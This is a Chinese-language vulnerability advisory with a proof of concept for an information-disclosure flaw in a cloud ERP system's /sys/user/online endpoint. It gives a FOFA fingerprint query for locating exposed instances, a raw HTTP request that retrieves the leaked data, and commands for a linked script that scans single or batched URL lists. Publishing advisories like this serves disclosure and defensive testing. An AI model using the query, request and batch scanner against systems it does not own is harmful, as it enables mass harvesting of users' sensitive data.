某时空ERP系统 online 信息泄露【附poc】

fofa

body="/static/images/yunlogo_home.png"

一、漏洞简述

云时空社会化商业 ERP 系统是一款集成了 ERP、CRM、SCM 等功能的企业管理软件。它基于云计算和移动互联网技术,为企业提供全面的业务管理和决策支持。该系统涵盖了企业各个环节,实现了信息的集中管理和共享,提高了企业运营效率。同时,它还具备社交媒体功能,支持企业与各方利益相关方的互动协作,促进企业与外部生态圈的融合。总的来说,这是一个集成了前沿技术的智能化企业管理解决方案,能帮助企业实现数字化转型。其接口online存在敏感信息泄露漏洞，攻击者可通过该漏洞获取应用敏感信息。

二、漏洞检测poc

GET /sys/user/online HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: close

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/ysk360_online_InfoLeak.py

批量检测:

python ysk360_online_InfoLeak.py -f url.txt

单个url检测漏洞:

python ysk360_online_InfoLeak.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：http://www.ysk360.com/#/